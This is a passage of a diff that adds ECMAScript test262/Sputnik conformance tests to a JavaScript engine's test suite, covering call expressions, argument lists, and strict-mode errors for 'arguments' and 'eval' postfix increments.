+if (eval("Number\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029()") !== 0) {
+ $ERROR('#10: Number\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029() === 0');
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A2.js b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A2.js
new file mode 100644
index 000000000..29ae4a55a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A2.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CallExpression : MemberExpression Arguments uses GetValue
+ *
+ * @path ch11/11.2/11.2.3/S11.2.3_A2.js
+ * @description If GetBase(MemberExpression) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x();
+ $ERROR('#1.1: x() throw ReferenceError. Actual: ' + (x()));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x() throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ x(1,2,3);
+ $ERROR('#2.1: x(1,2,3) throw ReferenceError. Actual: ' + (x(1,2,3)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#2.2: x(1,2,3) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T1.js b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T1.js
new file mode 100644
index 000000000..5fbf7b68d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T1.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If MemberExpression is not Object, throw TypeError
+ *
+ * @path ch11/11.2/11.2.3/S11.2.3_A3_T1.js
+ * @description Checking "boolean primitive" case
+ */
+
+//CHECK#1
+try {
+ true();
+ $ERROR('#1.1: true() throw TypeError. Actual: ' + (true()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: true() throw TypeError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ var x = true;
+ x();
+ $ERROR('#2.1: var x = true; x() throw TypeError. Actual: ' + (x()))
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2.2: var x = true; x() throw TypeError. Actual: ' + (e))
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T2.js b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T2.js
new file mode 100644
index 000000000..253f1b0e6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T2.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If MemberExpression is not Object, throw TypeError
+ *
+ * @path ch11/11.2/11.2.3/S11.2.3_A3_T2.js
+ * @description Checking "number primitive" case
+ */
+
+//CHECK#1
+try {
+ 1();
+ $ERROR('#1.1: 1() throw TypeError. Actual: ' + (1()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: 1() throw TypeError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ var x = 1;
+ x();
+ $ERROR('#2.1: var x = 1; x() throw TypeError. Actual: ' + (x()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2.2: var x = 1; x() throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T3.js b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T3.js
new file mode 100644
index 000000000..388510f21
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T3.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If MemberExpression is not Object, throw TypeError
+ *
+ * @path ch11/11.2/11.2.3/S11.2.3_A3_T3.js
+ * @description Checking "string primitive" case
+ */
+
+//CHECK#1
+try {
+ "1"();
+ $ERROR('#1.1: "1"() throw TypeError. Actual: ' + ("1"()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: "1"() throw TypeError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ var x = "1";
+ x();
+ $ERROR('#2.1: var x = "1"; x() throw TypeError. Actual: ' + (x()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2.2: var x = "1"; x() throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T4.js b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T4.js
new file mode 100644
index 000000000..a167260ed
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T4.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If MemberExpression is not Object, throw TypeError
+ *
+ * @path ch11/11.2/11.2.3/S11.2.3_A3_T4.js
+ * @description Checking "undefined" case
+ */
+
+//CHECK#1
+try {
+ undefined();
+ $ERROR('#1.1: undefined() throw TypeError. Actual: ' + (e));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: undefined() throw TypeError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ var x = undefined;
+ x();
+ $ERROR('#2.1: var x = undefined; x() throw TypeError. Actual: ' + (e));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2.2: var x = undefined; x() throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T5.js b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T5.js
new file mode 100644
index 000000000..77cd76fa4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A3_T5.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If MemberExpression is not Object, throw TypeError
+ *
+ * @path ch11/11.2/11.2.3/S11.2.3_A3_T5.js
+ * @description Checking "null" case
+ */
+
+//CHECK#1
+try {
+ null();
+ $ERROR('#1.1: null() throw TypeError. Actual: ' + (null()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: null() throw TypeError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ var x = null;
+ x();
+ $ERROR('#2.1: var x = null; x() throw TypeError. Actual: ' + (x()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2.2: var x = null; x() throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T1.js b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T1.js
new file mode 100644
index 000000000..ca028fa5a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T1.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If MemberExpression does not implement the internal [[Call]] method, throw TypeError
+ *
+ * @path ch11/11.2/11.2.3/S11.2.3_A4_T1.js
+ * @description Checking Boolean object case
+ */
+
+//CHECK#1
+try {
+ new Boolean(true)();
+ $ERROR('#1.1: new Boolean(true)() throw TypeError. Actual: ' + (new Boolean(true)()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: new Boolean(true)() throw TypeError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ var x = new Boolean(true);
+ x();
+ $ERROR('#2.1: var x = new Boolean(true); x() throw TypeError. Actual: ' + (x()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2.2: var x = new Boolean(true); x() throw TypeError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T2.js b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T2.js
new file mode 100644
index 000000000..41f898305
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T2.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If MemberExpression does not implement the internal [[Call]] method, throw TypeError
+ *
+ * @path ch11/11.2/11.2.3/S11.2.3_A4_T2.js
+ * @description Checking Number object case
+ */
+
+//CHECK#1
+try {
+ new Number(1)();
+ $ERROR('#1.1: new Number(1)() throw TypeError. Actual: ' + (new Number(1)()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: new Number(1)() throw TypeError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ var x = new Number(1);
+ x();
+ $ERROR('#2.1: var x = new Number(1); x() throw TypeError. Actual: ' + (x()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2.2: var x = new Number(1); x() throw TypeError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T3.js b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T3.js
new file mode 100644
index 000000000..108085425
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T3.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If MemberExpression does not implement the internal [[Call]] method, throw TypeError
+ *
+ * @path ch11/11.2/11.2.3/S11.2.3_A4_T3.js
+ * @description Checking String object case
+ */
+
+//CHECK#1
+try {
+ new String("1")();
+ $ERROR('#1.1: new String("1")() throw TypeError. Actual: ' + (new String("1")()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: new String("1")() throw TypeError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ var x = new String("1");
+ x();
+ $ERROR('#2.1: var x = new String("1"); x() throw TypeError. Actual: ' + (x()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2.2: var x = new String("1"); x() throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T4.js b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T4.js
new file mode 100644
index 000000000..a19cc05e6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T4.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If MemberExpression does not implement the internal [[Call]] method, throw TypeError
+ *
+ * @path ch11/11.2/11.2.3/S11.2.3_A4_T4.js
+ * @description Checking Global object case
+ */
+
+//CHECK#1
+try {
+ this();
+ $ERROR('#1.1: this() throw TypeError. Actual: ' + (this()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: this() throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T5.js b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T5.js
new file mode 100644
index 000000000..ddaf40c8d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/S11.2.3_A4_T5.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If MemberExpression does not implement the internal [[Call]] method, throw TypeError
+ *
+ * @path ch11/11.2/11.2.3/S11.2.3_A4_T5.js
+ * @description Checking Math object case
+ */
+
+//CHECK#1
+try {
+ Math();
+ $ERROR('#1.1: Math() throw TypeError. Actual: ' + (Math()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: Math() throw TypeError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/browser.js b/js/src/tests/test262/ch11/11.2/11.2.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/browser.js
diff --git a/js/src/tests/test262/ch11/11.2/11.2.3/shell.js b/js/src/tests/test262/ch11/11.2/11.2.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.3/shell.js
diff --git a/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.1_T1.js b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.1_T1.js
new file mode 100644
index 000000000..0d31a6c22
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.1_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Arguments : ()
+ *
+ * @path ch11/11.2/11.2.4/S11.2.4_A1.1_T1.js
+ * @description Function is declared with no FormalParameterList
+ */
+
+function f_arg() {
+ return arguments;
+}
+
+//CHECK#1
+if (f_arg().length !== 0) {
+ $ERROR('#1: function f_arg() {return arguments;} f_arg().length === 0. Actual: ' + (f_arg().length));
+}
+
+//CHECK#2
+if (f_arg()[0] !== undefined) {
+ $ERROR('#2: function f_arg() {return arguments;} f_arg()[0] === undefined. Actual: ' + (f_arg()[0]));
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.1_T2.js b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.1_T2.js
new file mode 100644
index 000000000..6be2a9937
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.1_T2.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Arguments : ()
+ *
+ * @path ch11/11.2/11.2.4/S11.2.4_A1.1_T2.js
+ * @description Function is declared with FormalParameterList
+ */
+
+function f_arg(x,y) {
+ return arguments;
+}
+
+//CHECK#1
+if (f_arg().length !== 0) {
+ $ERROR('#1: function f_arg(x,y) {return arguments;} f_arg().length === 0. Actual: ' + (f_arg().length));
+}
+
+//CHECK#2
+if (f_arg()[0] !== undefined) {
+ $ERROR('#2: function f_arg(x,y) {return arguments;} f_arg()[0] === undefined. Actual: ' + (f_arg()[0]));
+}
+
+//CHECK#3
+if (f_arg.length !== 2) {
+ $ERROR('#3: function f_arg(x,y) {return arguments;} f_arg.length === 2. Actual: ' + (f_arg.length));
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.2_T1.js b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.2_T1.js
new file mode 100644
index 000000000..aa419e295
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.2_T1.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Arguments : (ArgumentList)
+ *
+ * @path ch11/11.2/11.2.4/S11.2.4_A1.2_T1.js
+ * @description Function is declared with no FormalParameterList
+ */
+
+f_arg = function() {
+ return arguments;
+}
+
+//CHECK#1
+if (f_arg(1,2,3).length !== 3) {
+ $ERROR('#1: f_arg = function()() {return arguments;} f_arg(1,2,3).length === 3. Actual: ' + (f_arg(1,2,3).length));
+}
+
+//CHECK#2
+if (f_arg(1,2,3)[0] !== 1) {
+ $ERROR('#1: f_arg = function()() {return arguments;} f_arg(1,2,3)[0] === 1. Actual: ' + (f_arg(1,2,3)[0]));
+}
+
+//CHECK#3
+if (f_arg(1,2,3)[1] !== 2) {
+ $ERROR('#3: f_arg = function()() {return arguments;} f_arg(1,2,3)[1] === 2. Actual: ' + (f_arg(1,2,3)[1]));
+}
+
+//CHECK#4
+if (f_arg(1,2,3)[2] !== 3) {
+ $ERROR('#4: f_arg = function()() {return arguments;} f_arg(1,2,3)[2] === 3. Actual: ' + (f_arg(1,2,3)[2]));
+}
+
+//CHECK#5
+if (f_arg(1,2,3)[3] !== undefined) {
+ $ERROR('#5: f_arg = function()() {return arguments;} f_arg(1,2,3)[3] === undefined. Actual: ' + (f_arg(1,2,3)[3]));
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.2_T2.js b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.2_T2.js
new file mode 100644
index 000000000..2541df3d1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.2_T2.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Arguments : (ArgumentList)
+ *
+ * @path ch11/11.2/11.2.4/S11.2.4_A1.2_T2.js
+ * @description Function is declared with FormalParameterList
+ */
+
+f_arg = function(x,y) {
+ return arguments;
+}
+
+//CHECK#1
+if (f_arg(1,2,3).length !== 3) {
+ $ERROR('#1: f_arg = function(x,y) {return arguments;} f_arg(1,2,3).length === 3. Actual: ' + (f_arg(1,2,3).length));
+}
+
+//CHECK#2
+if (f_arg(1)[0] !== 1) {
+ $ERROR('#1: f_arg = function(x,y) {return arguments;} f_arg(1)[0] === 1. Actual: ' + (f_arg(1)[0]));
+}
+
+//CHECK#3
+if (f_arg(1,2)[1] !== 2) {
+ $ERROR('#3: f_arg = function(x,y) {return arguments;} f_arg(1,2)[1] === 2. Actual: ' + (f_arg(1,2)[1]));
+}
+
+//CHECK#4
+if (f_arg(1,2,3)[2] !== 3) {
+ $ERROR('#4: f_arg = function(x,y) {return arguments;} f_arg(1,2,3)[2] === 3. Actual: ' + (f_arg(1,2,3)[2]));
+}
+
+//CHECK#5
+if (f_arg(1,2,3)[3] !== undefined) {
+ $ERROR('#5: f_arg = function(x,y) {return arguments;} f_arg(1,2,3)[3] === undefined. Actual: ' + (f_arg(1,2,3)[3]));
+}
+
+//CHECK#6
+if (f_arg.length !== 2) {
+ $ERROR('#6: f_arg = function(x,y) {return arguments;} f_arg.length === 2. Actual: ' + (f_arg.length));
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.3_T1.js b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.3_T1.js
new file mode 100644
index 000000000..e54238ea1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.3_T1.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Arguments : (ArgumentList : ArgumentList,, AssignmentExpression) is a bad syntax
+ *
+ * @path ch11/11.2/11.2.4/S11.2.4_A1.3_T1.js
+ * @description incorrect syntax
+ * @negative
+ */
+
+function f_arg() {
+}
+
+f_arg(1,,2);
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.4_T1.js b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.4_T1.js
new file mode 100644
index 000000000..a2eb7989b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.4_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Arguments : (ArgumentList : ArgumentList, AssignmentExpression)
+ *
+ * @path ch11/11.2/11.2.4/S11.2.4_A1.4_T1.js
+ * @description Return an internal list whose length is one greater than the
+ * length of ArgumentList and whose items are the items of ArgumentList, in order,
+ * followed at the end by GetValue(AssignmentExpression), which is the last item of
+ * the new list
+ */
+
+function f_arg() {
+}
+
+//CHECK#1
+f_arg(x=1,x);
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.4_T2.js b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.4_T2.js
new file mode 100644
index 000000000..0db853abd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.4_T2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Arguments : (ArgumentList : ArgumentList, AssignmentExpression)
+ *
+ * @path ch11/11.2/11.2.4/S11.2.4_A1.4_T2.js
+ * @description Return an internal list whose length is one greater than the
+ * length of ArgumentList and whose items are the items of ArgumentList, in order,
+ * followed at the end by GetValue(AssignmentExpression), which is the last item of
+ * the new list
+ */
+
+function f_arg() {
+}
+
+//CHECK#1
+try {
+ f_arg(x,x=1);
+ $ERROR('#1.1: function f_arg() {} f_arg(x,x=1) throw ReferenceError. Actual: ' + (f_arg(x,x=1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: function f_arg() {} f_arg(x,x=1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.4_T3.js b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.4_T3.js
new file mode 100644
index 000000000..7d8bd02c9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.4_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Arguments : (ArgumentList : ArgumentList, AssignmentExpression)
+ *
+ * @path ch11/11.2/11.2.4/S11.2.4_A1.4_T3.js
+ * @description Return an internal list whose length is one greater than the
+ * length of ArgumentList and whose items are the items of ArgumentList, in order,
+ * followed at the end by GetValue(AssignmentExpression), which is the last item of
+ * the new list
+ */
+
+function f_arg(x,y,z) {
+ return z;
+}
+
+//CHECK#1
+if (f_arg(x=1,y=x,x+y) !== 2) {
+ $ERROR('#1: function f_arg(x,y,z) {return z;} f_arg(x=1,y=x,x+y) === 2. Actual: ' + (f_arg(x=1,y=x,x+y)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.4_T4.js b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.4_T4.js
new file mode 100644
index 000000000..83b228a88
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.4/S11.2.4_A1.4_T4.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Arguments : (ArgumentList : ArgumentList, AssignmentExpression)
+ *
+ * @path ch11/11.2/11.2.4/S11.2.4_A1.4_T4.js
+ * @description Return an internal list whose length is one greater than the
+ * length of ArgumentList and whose items are the items of ArgumentList, in order,
+ * followed at the end by GetValue(AssignmentExpression), which is the last item of
+ * the new list
+ */
+
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+
+function f_arg() {
+}
+
+//CHECK#1
+try {
+ f_arg(x(),y());
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; function f_arg() {} f_arg(x(),y()) throw "x". Actual: ' + (f_arg(x(),y())));
+}
+catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First argument is evaluated first, and then second argument');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; function f_arg() {} f_arg(x(),y()) throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.4/browser.js b/js/src/tests/test262/ch11/11.2/11.2.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.4/browser.js
diff --git a/js/src/tests/test262/ch11/11.2/11.2.4/shell.js b/js/src/tests/test262/ch11/11.2/11.2.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.4/shell.js
diff --git a/js/src/tests/test262/ch11/11.2/browser.js b/js/src/tests/test262/ch11/11.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.2/shell.js b/js/src/tests/test262/ch11/11.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/11.3.1-2-1-s.js b/js/src/tests/test262/ch11/11.3/11.3.1/11.3.1-2-1-s.js
new file mode 100644
index 000000000..28b299108
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/11.3.1-2-1-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.3/11.3.1/11.3.1-2-1-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'arguments' appear as a PostfixExpression(arguments++)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments++;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/11.3.1-2-1gs.js b/js/src/tests/test262/ch11/11.3/11.3.1/11.3.1-2-1gs.js
new file mode 100644
index 000000000..15456cd5c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/11.3.1-2-1gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch11/11.3/11.3.1/11.3.1-2-1gs.js
+ * @description Strict Mode - SyntaxError is throw if the identifier arguments appear as a PostfixExpression(arguments++)
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+throw NotEarlyError;
+arguments++;
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/11.3.1-2-2-s.js b/js/src/tests/test262/ch11/11.3/11.3.1/11.3.1-2-2-s.js
new file mode 100644
index 000000000..f71ea4568
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/11.3.1-2-2-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.3/11.3.1/11.3.1-2-2-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'eval' appear as a PostfixExpression(eval++)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval++;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/11.3.1-2-3-s.js b/js/src/tests/test262/ch11/11.3/11.3.1/11.3.1-2-3-s.js
new file mode 100644
index 000000000..e46a70606
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/11.3.1-2-3-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.3/11.3.1/11.3.1-2-3-s.js
+ * @description Strict Mode - SyntaxError is not thrown if the identifier 'arguments[...]' appears as a PostfixExpression(arguments++)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ arguments[1] = 7;
+ arguments[1]++;
+ return arguments[1]===8;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T1.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T1.js
new file mode 100644
index 000000000..9f8bc65a1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T1.js
